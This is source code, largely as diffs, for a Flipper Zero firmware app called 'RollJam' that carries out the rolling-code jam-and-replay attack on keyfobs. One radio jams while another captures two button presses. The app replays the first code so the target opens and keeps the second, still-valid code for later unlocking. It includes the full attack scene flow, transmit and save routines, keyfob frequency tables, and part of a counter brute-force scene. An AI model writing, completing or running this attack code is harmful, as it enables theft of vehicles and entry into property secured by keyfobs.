for(int tx_repeat = 0; tx_repeat < 3; tx_repeat++) {
g_tx.data = signal->data;
g_tx.size = signal->size;
g_tx.index = 0;
if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
FURI_LOG_E(TAG, "TX: start failed on repeat %d!", tx_repeat);
furi_hal_subghz_idle();
return;
}
uint32_t timeout = 0;
while(!furi_hal_subghz_is_async_tx_complete()) {
furi_delay_ms(5);
if(++timeout > 2000) {
FURI_LOG_E(TAG, "TX: timeout on repeat %d!", tx_repeat);
break;
}
}
furi_hal_subghz_stop_async_tx();
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)", tx_repeat, g_tx.index, signal->size);
// Small gap between repeats
if(tx_repeat < 2) furi_delay_ms(50);
}
furi_hal_subghz_idle();
FURI_LOG_I(TAG, "TX: all repeats done");
}
// ============================================================
// Save
// ============================================================
void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
if(!signal->valid || signal->size == 0) {
FURI_LOG_E(TAG, "Save: no signal");
return;
}
DateTime dt;
furi_hal_rtc_get_datetime(&dt);
FuriString* path = furi_string_alloc_printf(
"/ext/subghz/RJ_%04d%02d%02d_%02d%02d%02d.sub",
dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second);
FURI_LOG_I(TAG, "Saving: %s", furi_string_get_cstr(path));
Storage* storage = furi_record_open(RECORD_STORAGE);
storage_simply_mkdir(storage, "/ext/subghz");
File* file = storage_file_alloc(storage);
if(storage_file_open(file, furi_string_get_cstr(path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
FuriString* line = furi_string_alloc();
furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Version: 1\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Frequency: %lu\n", app->frequency);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
const char* pname;
switch(app->mod_index) {
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
}
furi_string_printf(line, "Preset: %s\n", pname);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Protocol: RAW\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
size_t i = 0;
while(i < signal->size) {
furi_string_set(line, "RAW_Data:");
size_t end = i + 512;
if(end > signal->size) end = signal->size;
for(; i < end; i++) {
furi_string_cat_printf(line, " %d", signal->data[i]);
}
furi_string_cat(line, "\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
}
furi_string_free(line);
FURI_LOG_I(TAG, "Saved: %d samples", signal->size);
} else {
FURI_LOG_E(TAG, "Save failed!");
}
storage_file_close(file);
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
furi_string_free(path);
}

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#pragma once
#include "../rolljam.h"
/*
* Internal CC1101 raw signal capture and transmission.
*
* Capture: uses narrow RX bandwidth so the offset jamming
* from the external CC1101 is filtered out.
*
* The captured raw data is stored as signed int16 values:
* positive = high-level duration (microseconds)
* negative = low-level duration (microseconds)
*
* This matches the Flipper .sub RAW format.
*/
// Start raw capture on internal CC1101
void rolljam_capture_start(RollJamApp* app);
// Stop capture
void rolljam_capture_stop(RollJamApp* app);
// Check if captured signal looks valid (not just noise)
bool rolljam_signal_is_valid(RawSignal* signal);
// Transmit a raw signal via internal CC1101
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
// Save signal to .sub file on SD card
void rolljam_save_signal(RollJamApp* app, RawSignal* signal);

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applications_user/rolljam/
├── application.fam
├── rolljam.png (icon 10x10)
├── rolljam.c
├── rolljam_icons.h
├── scenes/
│ ├── rolljam_scene.h
│ ├── rolljam_scene_config.h
│ ├── rolljam_scene_menu.c
│ ├── rolljam_scene_attack_phase1.c
│ ├── rolljam_scene_attack_phase2.c
│ ├── rolljam_scene_attack_phase3.c
│ └── rolljam_scene_result.c
├── helpers/
│ ├── rolljam_cc1101_ext.h
│ ├── rolljam_cc1101_ext.c
│ ├── rolljam_receiver.h
│ └── rolljam_receiver.c
└── views/
├── rolljam_attack_view.h
└── rolljam_attack_view.c

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#include "rolljam.h"
#include "scenes/rolljam_scene.h"
#include "helpers/rolljam_cc1101_ext.h"
#include "helpers/rolljam_receiver.h"
#include "helpers/rolljam_cc1101_ext.h"
// ============================================================
// Frequency / modulation tables
// ============================================================
const uint32_t freq_values[] = {
300000000,
303875000,
315000000,
318000000,
390000000,
433075000,
433920000,
434420000,
438900000,
868350000,
915000000,
};
const char* freq_names[] = {
"300.00",
"303.87",
"315.00",
"318.00",
"390.00",
"433.07",
"433.92",
"434.42",
"438.90",
"868.35",
"915.00",
};
const char* mod_names[] = {
"AM 650",
"AM 270",
"FM 238",
"FM 476",
};
// ============================================================
// Scene handlers table (extern declarations in scene header)
// ============================================================
void (*const rolljam_scene_on_enter_handlers[])(void*) = {
rolljam_scene_menu_on_enter,
rolljam_scene_attack_phase1_on_enter,
rolljam_scene_attack_phase2_on_enter,
rolljam_scene_attack_phase3_on_enter,
rolljam_scene_result_on_enter,
};
bool (*const rolljam_scene_on_event_handlers[])(void*, SceneManagerEvent) = {
rolljam_scene_menu_on_event,
rolljam_scene_attack_phase1_on_event,
rolljam_scene_attack_phase2_on_event,
rolljam_scene_attack_phase3_on_event,
rolljam_scene_result_on_event,
};
void (*const rolljam_scene_on_exit_handlers[])(void*) = {
rolljam_scene_menu_on_exit,
rolljam_scene_attack_phase1_on_exit,
rolljam_scene_attack_phase2_on_exit,
rolljam_scene_attack_phase3_on_exit,
rolljam_scene_result_on_exit,
};
const SceneManagerHandlers rolljam_scene_handlers = {
.on_enter_handlers = rolljam_scene_on_enter_handlers,
.on_event_handlers = rolljam_scene_on_event_handlers,
.on_exit_handlers = rolljam_scene_on_exit_handlers,
.scene_num = RollJamSceneCount,
};
// ============================================================
// Navigation callbacks
// ============================================================
static bool rolljam_navigation_callback(void* context) {
RollJamApp* app = context;
return scene_manager_handle_back_event(app->scene_manager);
}
static bool rolljam_custom_event_callback(void* context, uint32_t event) {
RollJamApp* app = context;
return scene_manager_handle_custom_event(app->scene_manager, event);
}
// ============================================================
// App alloc
// ============================================================
static RollJamApp* rolljam_app_alloc(void) {
RollJamApp* app = malloc(sizeof(RollJamApp));
memset(app, 0, sizeof(RollJamApp));
// Defaults
app->freq_index = FreqIndex_433_92;
app->frequency = freq_values[FreqIndex_433_92];
app->mod_index = ModIndex_AM650;
// Services
app->gui = furi_record_open(RECORD_GUI);
app->notification = furi_record_open(RECORD_NOTIFICATION);
app->storage = furi_record_open(RECORD_STORAGE);
// Scene manager
app->scene_manager = scene_manager_alloc(&rolljam_scene_handlers, app);
// View dispatcher
app->view_dispatcher = view_dispatcher_alloc();
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
view_dispatcher_set_custom_event_callback(
app->view_dispatcher, rolljam_custom_event_callback);
view_dispatcher_set_navigation_event_callback(
app->view_dispatcher, rolljam_navigation_callback);
view_dispatcher_attach_to_gui(
app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
// Variable item list
app->var_item_list = variable_item_list_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewVarItemList,
variable_item_list_get_view(app->var_item_list));
// Widget
app->widget = widget_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewWidget,
widget_get_view(app->widget));
// Dialog
app->dialog_ex = dialog_ex_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewDialogEx,
dialog_ex_get_view(app->dialog_ex));
// Popup
app->popup = popup_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewPopup,
popup_get_view(app->popup));
return app;
}
// ============================================================
// App free
// ============================================================
static void rolljam_app_free(RollJamApp* app) {
// Safety: stop everything
if(app->jamming_active) {
rolljam_jammer_stop(app);
}
if(app->raw_capture_active) {
rolljam_capture_stop(app);
}
// Remove views
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
variable_item_list_free(app->var_item_list);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewWidget);
widget_free(app->widget);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewDialogEx);
dialog_ex_free(app->dialog_ex);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
popup_free(app->popup);
// Core
scene_manager_free(app->scene_manager);
view_dispatcher_free(app->view_dispatcher);
// Services
furi_record_close(RECORD_GUI);
furi_record_close(RECORD_NOTIFICATION);
furi_record_close(RECORD_STORAGE);
free(app);
}
// ============================================================
// Entry point
// ============================================================
int32_t rolljam_app(void* p) {
UNUSED(p);
RollJamApp* app = rolljam_app_alloc();
FURI_LOG_I(TAG, "=== RollJam Started ===");
FURI_LOG_I(TAG, "Internal CC1101 = RX capture (narrow BW)");
FURI_LOG_I(TAG, "External CC1101 = TX jam (offset +%lu Hz)", (uint32_t)JAM_OFFSET_HZ);
scene_manager_next_scene(app->scene_manager, RollJamSceneMenu);
view_dispatcher_run(app->view_dispatcher);
rolljam_app_free(app);
FURI_LOG_I(TAG, "=== RollJam Stopped ===");
return 0;
}

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#pragma once
#include <furi.h>
#include <furi_hal.h>
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/scene_manager.h>
#include <gui/modules/submenu.h>
#include <gui/modules/popup.h>
#include <gui/modules/variable_item_list.h>
#include <gui/modules/widget.h>
#include <gui/modules/dialog_ex.h>
#include <notification/notification.h>
#include <notification/notification_messages.h>
#include <storage/storage.h>
#include <stdlib.h>
#include <string.h>
#define TAG "RollJam"
// ============================================================
// Jam offset: external CC1101 transmits at target + this offset
// Victim receiver (wide BW ~300kHz) sees the jam
// Our internal CC1101 (narrow BW ~58kHz) rejects it
// ============================================================
#define JAM_OFFSET_HZ 700000
// Max raw signal buffer
#define RAW_SIGNAL_MAX_SIZE 4096
// ============================================================
// Frequencies
// ============================================================
typedef enum {
FreqIndex_300_00 = 0,
FreqIndex_303_87,
FreqIndex_315_00,
FreqIndex_318_00,
FreqIndex_390_00,
FreqIndex_433_07,
FreqIndex_433_92,
FreqIndex_434_42,
FreqIndex_438_90,
FreqIndex_868_35,
FreqIndex_915_00,
FreqIndex_COUNT,
} FreqIndex;
extern const uint32_t freq_values[];
extern const char* freq_names[];
// ============================================================
// Modulations
// ============================================================
typedef enum {
ModIndex_AM650 = 0,
ModIndex_AM270,
ModIndex_FM238,
ModIndex_FM476,
ModIndex_COUNT,
} ModIndex;
extern const char* mod_names[];
// ============================================================
// Scenes
// ============================================================
typedef enum {
RollJamSceneMenu,
RollJamSceneAttackPhase1,
RollJamSceneAttackPhase2,
RollJamSceneAttackPhase3,
RollJamSceneResult,
RollJamSceneCount,
} RollJamScene;
// ============================================================
// Views
// ============================================================
typedef enum {
RollJamViewVarItemList,
RollJamViewWidget,
RollJamViewDialogEx,
RollJamViewPopup,
} RollJamView;
// ============================================================
// Custom events
// ============================================================
typedef enum {
RollJamEventStartAttack = 100,
RollJamEventSignalCaptured,
RollJamEventPhase3Done,
RollJamEventReplayNow,
RollJamEventSaveSignal,
RollJamEventBack,
} RollJamEvent;
// ============================================================
// Raw signal container
// ============================================================
typedef struct {
int16_t data[RAW_SIGNAL_MAX_SIZE];
size_t size;
bool valid;
} RawSignal;
// ============================================================
// Main app struct
// ============================================================
typedef struct {
// Core
Gui* gui;
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
NotificationApp* notification;
Storage* storage;
// Views / modules
VariableItemList* var_item_list;
Widget* widget;
DialogEx* dialog_ex;
Popup* popup;
// Settings
FreqIndex freq_index;
ModIndex mod_index;
uint32_t frequency;
uint32_t jam_frequency;
// Captured signals
RawSignal signal_first;
RawSignal signal_second;
// Jamming state
bool jamming_active;
FuriThread* jam_thread;
volatile bool jam_thread_running;
// Capture state
volatile bool raw_capture_active;
} RollJamApp;

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@@ -0,0 +1,9 @@
#pragma once
// Icon assets are auto-generated by the build system
// from the images/ folder. If no custom icons are needed,
// this file can remain minimal.
// If you place .png files in an images/ folder,
// the build system generates icon references automatically.
// Access them via &I_iconname

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@@ -0,0 +1,27 @@
#pragma once
#include "../rolljam.h"
// Scene on_enter
void rolljam_scene_menu_on_enter(void* context);
void rolljam_scene_attack_phase1_on_enter(void* context);
void rolljam_scene_attack_phase2_on_enter(void* context);
void rolljam_scene_attack_phase3_on_enter(void* context);
void rolljam_scene_result_on_enter(void* context);
// Scene on_event
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event);
// Scene on_exit
void rolljam_scene_menu_on_exit(void* context);
void rolljam_scene_attack_phase1_on_exit(void* context);
void rolljam_scene_attack_phase2_on_exit(void* context);
void rolljam_scene_attack_phase3_on_exit(void* context);
void rolljam_scene_result_on_exit(void* context);
// Scene manager handlers (defined in rolljam.c)
extern const SceneManagerHandlers rolljam_scene_handlers;

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@@ -0,0 +1,101 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 1: JAM + CAPTURE first keyfob press
// ============================================================
static void phase1_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_first.size > 0 &&
rolljam_signal_is_valid(&app->signal_first)) {
app->signal_first.valid = true;
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
}
void rolljam_scene_attack_phase1_on_enter(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 1 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "Jamming active...");
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Listening for keyfob");
widget_add_string_element(
app->widget, 64, 42, AlignCenter, AlignTop,
FontPrimary, "PRESS KEYFOB NOW");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// Start jamming
rolljam_jammer_start(app);
// Start capture
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_blue_100);
FuriTimer* timer = furi_timer_alloc(
phase1_timer_callback, FuriTimerTypePeriodic, app);
furi_timer_start(timer, 300);
scene_manager_set_scene_state(
app->scene_manager, RollJamSceneAttackPhase1, (uint32_t)timer);
FURI_LOG_I(TAG, "Phase1: waiting for 1st keyfob press...");
}
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
app->signal_first.size);
// Stop capture cleanly
rolljam_capture_stop(app);
// Jamming stays active!
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase2);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase1: cancelled by user");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_attack_phase1_on_exit(void* context) {
RollJamApp* app = context;
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
app->scene_manager, RollJamSceneAttackPhase1);
if(timer) {
furi_timer_stop(timer);
furi_timer_free(timer);
}
widget_reset(app->widget);
}

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@@ -0,0 +1,107 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 2: JAM + CAPTURE second keyfob press
// ============================================================
static void phase2_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_second.size > 0 &&
rolljam_signal_is_valid(&app->signal_second)) {
app->signal_second.valid = true;
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
}
void rolljam_scene_attack_phase2_on_enter(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 2 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "1st code CAPTURED!");
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Still jamming...");
widget_add_string_element(
app->widget, 64, 42, AlignCenter, AlignTop,
FontPrimary, "PRESS KEYFOB AGAIN");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// CRITICAL: completely clear second signal
memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
app->signal_second.size = 0;
app->signal_second.valid = false;
// Stop previous capture if any
rolljam_capture_stop(app);
// Small delay to let radio settle
furi_delay_ms(50);
// Start fresh capture for second signal
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_yellow_100);
FuriTimer* timer = furi_timer_alloc(
phase2_timer_callback, FuriTimerTypePeriodic, app);
furi_timer_start(timer, 300);
scene_manager_set_scene_state(
app->scene_manager, RollJamSceneAttackPhase2, (uint32_t)timer);
FURI_LOG_I(TAG, "Phase2: waiting for 2nd keyfob press...");
}
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
app->signal_second.size);
rolljam_capture_stop(app);
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase3);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase2: cancelled by user");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_attack_phase2_on_exit(void* context) {
RollJamApp* app = context;
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
app->scene_manager, RollJamSceneAttackPhase2);
if(timer) {
furi_timer_stop(timer);
furi_timer_free(timer);
}
widget_reset(app->widget);
}

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@@ -0,0 +1,70 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 3: STOP jam + REPLAY first signal
// The victim device opens. We keep the 2nd (newer) code.
// ============================================================
void rolljam_scene_attack_phase3_on_enter(void* context) {
RollJamApp* app = context;
// UI
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 3 / 4");
widget_add_string_element(
app->widget, 64, 18, AlignCenter, AlignTop,
FontSecondary, "Stopping jammer...");
widget_add_string_element(
app->widget, 64, 32, AlignCenter, AlignTop,
FontPrimary, "REPLAYING 1st CODE");
widget_add_string_element(
app->widget, 64, 48, AlignCenter, AlignTop,
FontSecondary, "Target should open!");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// LED: green
notification_message(app->notification, &sequence_blink_green_100);
// 1) Stop the jammer
rolljam_jammer_stop(app);
// Wait for jammer thread to fully stop and radio to settle
furi_delay_ms(1000);
// 2) Transmit first captured signal via internal CC1101
rolljam_transmit_signal(app, &app->signal_first);
FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
notification_message(app->notification, &sequence_success);
// Brief display then advance
furi_delay_ms(800);
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventPhase3Done);
}
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventPhase3Done) {
scene_manager_next_scene(
app->scene_manager, RollJamSceneResult);
return true;
}
}
return false;
}
void rolljam_scene_attack_phase3_on_exit(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
}

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@@ -0,0 +1,17 @@
#pragma once
/*
* Scene configuration file.
* Lists all scenes for the SceneManager.
*
* In some Flipper apps this uses ADD_SCENE macros.
* We handle it manually via the handlers arrays in rolljam.c
* so this file just documents the scene list.
*
* Scenes:
* 0 - RollJamSceneMenu
* 1 - RollJamSceneAttackPhase1
* 2 - RollJamSceneAttackPhase2
* 3 - RollJamSceneAttackPhase3
* 4 - RollJamSceneResult
*/

View File

@@ -0,0 +1,94 @@
#include "rolljam_scene.h"
// ============================================================
// Menu scene: select frequency, modulation, start attack
// ============================================================
static void menu_freq_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->freq_index = index;
app->frequency = freq_values[index];
variable_item_set_current_value_text(item, freq_names[index]);
}
static void menu_mod_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->mod_index = index;
variable_item_set_current_value_text(item, mod_names[index]);
}
static void menu_enter_callback(void* context, uint32_t index) {
RollJamApp* app = context;
if(index == 2) {
// "Start Attack" item
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventStartAttack);
}
}
void rolljam_scene_menu_on_enter(void* context) {
RollJamApp* app = context;
variable_item_list_reset(app->var_item_list);
// --- Frequency ---
VariableItem* freq_item = variable_item_list_add(
app->var_item_list,
"Frequency",
FreqIndex_COUNT,
menu_freq_changed,
app);
variable_item_set_current_value_index(freq_item, app->freq_index);
variable_item_set_current_value_text(freq_item, freq_names[app->freq_index]);
// --- Modulation ---
VariableItem* mod_item = variable_item_list_add(
app->var_item_list,
"Modulation",
ModIndex_COUNT,
menu_mod_changed,
app);
variable_item_set_current_value_index(mod_item, app->mod_index);
variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
// --- Start button ---
variable_item_list_add(
app->var_item_list,
">> START ATTACK <<",
0,
NULL,
app);
variable_item_list_set_enter_callback(
app->var_item_list, menu_enter_callback, app);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewVarItemList);
}
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventStartAttack) {
// Clear previous captures
memset(&app->signal_first, 0, sizeof(RawSignal));
memset(&app->signal_second, 0, sizeof(RawSignal));
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase1);
return true;
}
}
return false;
}
void rolljam_scene_menu_on_exit(void* context) {
RollJamApp* app = context;
variable_item_list_reset(app->var_item_list);
}

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@@ -0,0 +1,111 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 4 / Result: user chooses to SAVE or REPLAY 2nd code
// ============================================================
static void result_dialog_callback(DialogExResult result, void* context) {
RollJamApp* app = context;
if(result == DialogExResultLeft) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSaveSignal);
} else if(result == DialogExResultRight) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventReplayNow);
}
}
void rolljam_scene_result_on_enter(void* context) {
RollJamApp* app = context;
dialog_ex_reset(app->dialog_ex);
dialog_ex_set_header(
app->dialog_ex, "Attack Complete!",
64, 2, AlignCenter, AlignTop);
dialog_ex_set_text(
app->dialog_ex,
"1st code: SENT to target\n"
"2nd code: IN MEMORY\n\n"
"What to do with 2nd?",
64, 18, AlignCenter, AlignTop);
dialog_ex_set_left_button_text(app->dialog_ex, "Save");
dialog_ex_set_right_button_text(app->dialog_ex, "Send");
dialog_ex_set_result_callback(app->dialog_ex, result_dialog_callback);
dialog_ex_set_context(app->dialog_ex, app);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewDialogEx);
}
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSaveSignal) {
// Save to .sub file
rolljam_save_signal(app, &app->signal_second);
popup_reset(app->popup);
popup_set_header(
app->popup, "Saved!",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup,
"File saved to:\n/ext/subghz/rolljam_*.sub\n\nPress Back",
64, 38, AlignCenter, AlignCenter);
popup_set_timeout(app->popup, 5000);
popup_enable_timeout(app->popup);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
notification_message(app->notification, &sequence_success);
return true;
} else if(event.event == RollJamEventReplayNow) {
// Show sending screen
popup_reset(app->popup);
popup_set_header(
app->popup, "Transmitting...",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup, "Sending 2nd code NOW",
64, 38, AlignCenter, AlignCenter);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
// Transmit second signal
rolljam_transmit_signal(app, &app->signal_second);
notification_message(app->notification, &sequence_success);
popup_set_header(
app->popup, "Done!",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup,
"2nd code transmitted!\n\nPress Back",
64, 38, AlignCenter, AlignCenter);
popup_set_timeout(app->popup, 5000);
popup_enable_timeout(app->popup);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_result_on_exit(void* context) {
RollJamApp* app = context;
dialog_ex_reset(app->dialog_ex);
popup_reset(app->popup);
}

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@@ -0,0 +1,53 @@
#include "rolljam_attack_view.h"
#include <gui/canvas.h>
// ============================================================
// Custom drawing for attack status
// Reserved for future use with a custom View
// Currently the app uses Widget modules instead
// ============================================================
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state) {
canvas_clear(canvas);
// Title bar
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(
canvas, 64, 2, AlignCenter, AlignTop, state->phase_text);
// Separator
canvas_draw_line(canvas, 0, 14, 128, 14);
// Status
canvas_set_font(canvas, FontSecondary);
canvas_draw_str_aligned(
canvas, 64, 18, AlignCenter, AlignTop, state->status_text);
// Indicators
int y = 32;
if(state->jamming) {
canvas_draw_str(canvas, 4, y, "JAM: [ACTIVE]");
// Animated dots could go here
} else {
canvas_draw_str(canvas, 4, y, "JAM: [OFF]");
}
y += 12;
if(state->capturing) {
canvas_draw_str(canvas, 4, y, "RX: [LISTENING]");
} else {
canvas_draw_str(canvas, 4, y, "RX: [OFF]");
}
y += 12;
// Signal counter
char buf[32];
snprintf(buf, sizeof(buf), "Signals: %d / 2", state->signal_count);
canvas_draw_str(canvas, 4, y, buf);
// Footer
canvas_set_font(canvas, FontSecondary);
canvas_draw_str_aligned(
canvas, 64, 62, AlignCenter, AlignBottom, "[BACK] cancel");
}

View File

@@ -0,0 +1,23 @@
#pragma once
#include "../rolljam.h"
/*
* Custom view for attack visualization.
* Currently the app uses Widget and DialogEx for display.
* This file is reserved for a future custom canvas-drawn view
* (e.g., signal waveform display, animated jamming indicator).
*
* For now it provides a simple status draw function.
*/
typedef struct {
const char* phase_text;
const char* status_text;
bool jamming;
bool capturing;
int signal_count;
} AttackViewState;
// Draw attack status on a canvas (for future custom View use)
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state);

View File

@@ -8,6 +8,7 @@ App(
"lfrfid",
"nfc",
"subghz",
"rolljam",
"subghz_bruteforcer",
"archive",
"subghz_remote",

View File

@@ -19,7 +19,7 @@ typedef struct {
uint32_t step;
CounterBfState state;
uint32_t packets_sent;
uint32_t tick_wait; // ticks remaining before next TX
uint32_t tick_wait;
} CounterBfContext;
#define CounterBfEventStart (0xC0)
@@ -27,7 +27,6 @@ typedef struct {
static void counter_bf_widget_callback(GuiButtonType result, InputType type, void* context) {
SubGhz* subghz = context;
// Single press toggles start/stop
if(result == GuiButtonTypeCenter && type == InputTypeShort) {
view_dispatcher_send_custom_event(subghz->view_dispatcher, CounterBfEventStart);
}
@@ -36,7 +35,8 @@ static void counter_bf_widget_callback(GuiButtonType result, InputType type, voi
static void counter_bf_draw(SubGhz* subghz, CounterBfContext* ctx) {
widget_reset(subghz->widget);
FuriString* str = furi_string_alloc();
furi_string_printf(str,
furi_string_printf(
str,
"Counter BruteForce\n"
"Cnt: 0x%08lX\n"
"Sent: %lu pkts\n"
@@ -45,28 +45,48 @@ static void counter_bf_draw(SubGhz* subghz, CounterBfContext* ctx) {
ctx->packets_sent,
ctx->start_cnt);
widget_add_string_multiline_element(
subghz->widget, 0, 0, AlignLeft, AlignTop, FontSecondary,
furi_string_get_cstr(str));
subghz->widget, 0, 0, AlignLeft, AlignTop, FontSecondary, furi_string_get_cstr(str));
furi_string_free(str);
const char* btn_label = ctx->state == CounterBfStateRunning ? "Stop" : "Start";
widget_add_button_element(
subghz->widget, GuiButtonTypeCenter, btn_label,
counter_bf_widget_callback, subghz);
subghz->widget,
GuiButtonTypeCenter,
btn_label,
counter_bf_widget_callback,
subghz);
}
static void counter_bf_save(SubGhz* subghz, CounterBfContext* ctx) {
// Escribir el Cnt final directamente en el archivo .sub en disco.
// No usar subghz_save_protocol_to_file() porque ese serializa el estado
// actual del encoder (que puede tener el Cnt ya incrementado internamente).
Storage* storage = furi_record_open(RECORD_STORAGE);
